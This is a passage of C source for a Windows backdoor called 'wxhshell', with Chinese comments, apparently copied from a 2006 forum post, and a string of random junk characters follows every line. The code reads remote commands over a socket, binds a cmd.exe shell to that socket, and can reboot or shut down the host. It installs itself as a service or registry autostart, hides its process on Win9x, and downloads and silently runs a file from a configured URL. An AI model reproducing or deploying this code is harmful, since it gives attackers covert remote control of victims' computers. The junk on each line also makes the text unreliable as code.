  } zZ-wG  
  else { -a Gcf]6  
f},oj4P\  
    switch(cmd[0]) { ^he=)rBb?  
  >M!xiQX  
  // 帮助 _GQz!YA  
  case '?': { +eX)48  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); S&C1TC  
    break; X8eJ4%  
  } A?Qa 4i  
  // 安装 3q[WHwmm  
  case 'i': { W|k0R4K]]  
    if(Install()) ~%u|[$  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); $S*4r&8ZD  
    else Z!xVgM{  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); |xr%6 [Ff  
    break; n@C~ev@%S  
    } {@}?k s5  
  // 卸载 .Jb$l$5'w  
  case 'r': { b<I9 MR  
    if(Uninstall()) UnDgu4#R`A  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); DQ.v+C,  
    else /(I*,.d  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DH DZ_t:  
    break; eg"Gjp- 4=  
    } _zxLwU1(x  
  // 显示 wxhshell 所在路径 ulHn#)  
  case 'p': { 8 S`9dSc  
    char svExeFile[MAX_PATH]; jg  2qGC  
    strcpy(svExeFile,"\n\r"); ^ OJyN,A  
      strcat(svExeFile,ExeFile); t-u|U(n  
        send(wsh,svExeFile,strlen(svExeFile),0); =bh*[ , -  
    break; ~H)4)r^  
    } $v.C0 x  
  // 重启 9_ICNG%  
  case 'b': { M/PFPJ >`  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 9n]|PEoAB  
    if(Boot(REBOOT)) WzW-pV]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D*5hrkV9  
    else { sGDV]~E  
    closesocket(wsh); j;yf8Nf  
    ExitThread(0); &MR/6"/s  
    } *x~xWg9^  
    break; +,+vkpL-%  
    } WE}kTq  
  // 关机 Hs"(@eDV&J  
  case 'd': { gMWBu~;!  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); AEmNHO@%q  
    if(Boot(SHUTDOWN)) gV1[3dW  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ?71+ f{s  
    else { (%CZ*L[9Z  
    closesocket(wsh); Ph&urxH@  
    ExitThread(0); P27%xV-n>  
    } T[k4lM  
    break; C;AA/4Ib  
    } _s,ao '/  
  // 获取shell ukgAI<O%  
  case 's': { D8{D [fJ;  
    CmdShell(wsh); MOn,Db$  
    closesocket(wsh); ;:S&F  
    ExitThread(0); e[u?_h  
    break; 6q<YJ.,  
  } yAT^VRbv  
  // 退出 {s?M*_{|  
  case 'x': { ivO/;)=t  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hjZ}C+=O  
    CloseIt(wsh); CDj~;$[B  
    break; C#rc@r,F  
    } JE 5  
  // 离开 (w (  
  case 'q': { RhI;;Y#@  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); psh^MX)Q  
    closesocket(wsh); yZ]:y-1  
    WSACleanup(); RT/o$$  
    exit(1); ,:Jus  
    break; %\O#&=$E  
        } tary6K9K+  
  } ,y`CRlr:  
  } 3FSqd<t;D  
g3n'aD@'x  
  // 提示信息 iq#b#PYA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); P`4]-5gE  
} dhg~$CVO  
  } #TK~eHi  
BC>=B@H0  
  return; ~na!@<zB{  
} {yAL+}  
wCs^J48=  
// shell模块句柄 Th[f9H%  
int CmdShell(SOCKET sock) DF]9@{  
{ E "iUq  
STARTUPINFO si; n>3U_yt6b  
ZeroMemory(&si,sizeof(si)); V!%jf:k  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; IH48|sa  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; ~\p]~qQ\K  
PROCESS_INFORMATION ProcessInfo; ]  H~4  
char cmdline[]="cmd"; v dbO(  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); .9*wY0:  
  return 0; wZT%Ee\D%  
} 8kE]_t  
 ~fl@ 2  
// 自身启动模式 +=Jir1SLV  
int StartFromService(void) ,&PE6h n  
{ VLsxdwHgb  
typedef struct d4:`@*  
{ CQ7{1,?2  
  DWORD ExitStatus; G2 ]H6G$M  
  DWORD PebBaseAddress; !J1rRPV  
  DWORD AffinityMask; _cTh#t ^  
  DWORD BasePriority; 'oNO-)p\#!  
  ULONG UniqueProcessId; DBLk!~IF  
  ULONG InheritedFromUniqueProcessId; *,C(\!b !?  
}   PROCESS_BASIC_INFORMATION; 7 J^rv9i4  
 mvW%  
PROCNTQSIP NtQueryInformationProcess; (z7vl~D  
rt3qdk5U  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; # ?1Sm/5k`  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; [P zv4+  
}<@j'Ok}.  
  HANDLE             hProcess; uJx"W  
  PROCESS_BASIC_INFORMATION pbi; yNW\?Z$@q  
I4;A8I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 3K&4i'}V  
  if(NULL == hInst ) return 0; 84HUBud76Y  
c0c|z Ym  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); m42T9wSsx  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ^2d!*W|  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); AT2v!mNyCw  
%:>3n8n  
  if (!NtQueryInformationProcess) return 0; VUTacA Y>L  
hc (e$##  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 0.$hn  
  if(!hProcess) return 0; }7fZ[J3  
~vLW.:  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; gM>t0)mGK  
Gir#"5F  
  CloseHandle(hProcess); HS'Vi9  
E r/bO  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ze< K=Q%(i  
if(hProcess==NULL) return 0; rG?>ltxB  
mOo`ZcTU  
HMODULE hMod; pY4}>ju(g  
char procName[255]; ]&Z))H  
unsigned long cbNeeded; d@w~[b  
yJuQ8+vgR}  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); z"D.Bm~ ]  
tH=P6vY  
  CloseHandle(hProcess); ,Vd\m"K{  
u4z&!MT}  
if(strstr(procName,"services")) return 1; // 以服务启动 fA'qd.{f^  
GdB.4s^  
  return 0; // 注册表启动 _'4A|-9  
} NmK8<9`u  
wB'zuPAK6  
// 主模块 6nhMP$h  
int StartWxhshell(LPSTR lpCmdLine) Iff9'TE  
{ '65LKD  
  SOCKET wsl; ~HQ9i%exg  
BOOL val=TRUE; Li*eGlId  
  int port=0; b o.(zAz  
  struct sockaddr_in door; HM>lg`S  
(SSRY9  
  if(wscfg.ws_autoins) Install(); N@B9 @8h  
r "$.4@gc  
port=atoi(lpCmdLine); .xf<=ep  
[c_|ob]  
if(port<=0) port=wscfg.ws_port; E{6~oZ#L  
f3`7tA  
  WSADATA data; 2Q;9G6p  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; V"cKJ;s  
f7Ul(D:j\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   q&C""!h^  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); !4]9!<.k  
  door.sin_family = AF_INET; O1')nYF7  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); tx?dIy;  
  door.sin_port = htons(port); CctJFcEZ  
kw2T>  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { &A#~)i5gF  
closesocket(wsl); rD>*j~_+P  
return 1; T843":  
} F~ Lx|)0M  
(EPsTox  
  if(listen(wsl,2) == INVALID_SOCKET) { fs/*V~@  
closesocket(wsl); d[rv1s>i  
return 1; a>\vUv*  
} Ym;*Y !~[  
  Wxhshell(wsl); d1[ZHio2c?  
  WSACleanup(); +r3IN){jz  
8[6o (  
return 0; [qsEUc+Z.'  
o\vBOp?hj  
} j,]Y$B  
RK w$-7O  
// 以NT服务方式启动 8Lw B B  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) mN8pg4  
{ F R|&^j6  
DWORD   status = 0; ~  T>U  
  DWORD   specificError = 0xfffffff; phO;c;y}  
`y+tf?QN  
  serviceStatus.dwServiceType     = SERVICE_WIN32; hy|b6wF&  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `est|C '+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; e<r,&U$  
  serviceStatus.dwWin32ExitCode     = 0; F;^F+H  
  serviceStatus.dwServiceSpecificExitCode = 0; e%W$*f  
  serviceStatus.dwCheckPoint       = 0; o M Zq+>  
  serviceStatus.dwWaitHint       = 0; 'vNG(h#%d  
YKQr, Now  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); uw lr9nB  
  if (hServiceStatusHandle==0) return; iiK]l   
Sna4wkbS  
status = GetLastError(); }1IpON  
  if (status!=NO_ERROR) `({T]@]V  
{ LR" 9D  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; YuB+k^  
    serviceStatus.dwCheckPoint       = 0; Sp@-p9#  
    serviceStatus.dwWaitHint       = 0; V59(Z  
    serviceStatus.dwWin32ExitCode     = status; kQ]$%Lk[  
    serviceStatus.dwServiceSpecificExitCode = specificError; F-6c_!  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); A_KW(;50  
    return; >M&3Y XC  
  } ](|\whI  
ID/ F  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; HV<Lf 6gE  
  serviceStatus.dwCheckPoint       = 0; 1'? 4m0W1  
  serviceStatus.dwWaitHint       = 0; ut r:J  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \l~*PG2  
} V^;jJ']  
s=CK~+,/  
// 处理NT服务事件,比如:启动、停止 y( y8+ZT  
VOID WINAPI NTServiceHandler(DWORD fdwControl) B#9{-t3Vf  
{ @IXsy  
switch(fdwControl) ->N8#XH2=  
{ zXRlo]  
case SERVICE_CONTROL_STOP: /hO1QT}xd  
  serviceStatus.dwWin32ExitCode = 0; 0Fu~%~#E$  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 4>J   
  serviceStatus.dwCheckPoint   = 0; y+7PwBo%e  
  serviceStatus.dwWaitHint     = 0; '(/7[tJ  
  { y r,=.?C-  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); r7qh>JrO  
  } 3do)Vg4  
  return; |fo0  
case SERVICE_CONTROL_PAUSE: 5e WwgA  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; }l=xiAF  
  break; XC+A_"w)  
case SERVICE_CONTROL_CONTINUE: o=1X^,  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; /&4U6a  
  break; X]y)qV)a[c  
case SERVICE_CONTROL_INTERROGATE: ={u0_j W  
  break; u(G*\<z-  
}; V*~Zs'L'E  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); iQ"XLrpl  
} iTaWup  
W6Y@U$P#G  
// 标准应用程序主函数 D+>1]ij  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 0 iJue &  
{ |ZQ@fmvL/p  
X]'7Ov  
// 获取操作系统版本 ,~._}E&9I  
OsIsNt=GetOsVer(); %;D.vKoh  
GetModuleFileName(NULL,ExeFile,MAX_PATH); xMBaVlEN  
- |gmQG  
  // 从命令行安装 7VP32Eh[  
  if(strpbrk(lpCmdLine,"iI")) Install(); `/_G$_  
4ni3kmvX  
  // 下载执行文件 M+x,opl  
if(wscfg.ws_downexe) { "!EcbR  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) C"{k7yT  
  WinExec(wscfg.ws_filenam,SW_HIDE); H$6`{lx,  
} r hfb ftw  
M>/Zbnq  
if(!OsIsNt) { aCL!]4K84$  
// 如果时win9x,隐藏进程并且设置为注册表启动 jq!tT%o*B  
HideProc(); +U@<\kIF  
StartWxhshell(lpCmdLine); 4!wR_@W^El  
} MuSUKBhM  
else M %Qt|@O  
  if(StartFromService())  E6WA}_  
  // 以服务方式启动 x|vqNZ\F  
  StartServiceCtrlDispatcher(DispatchTable); Z:_D0jG  
else BGfzslK  
  // 普通方式启动 )YqXRm  
  StartWxhshell(lpCmdLine); T' ~!9Q  
)l#E}Uz  
return 0; /:FOPPs  
}
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只看该作者 1 发表于: 2006-10-10
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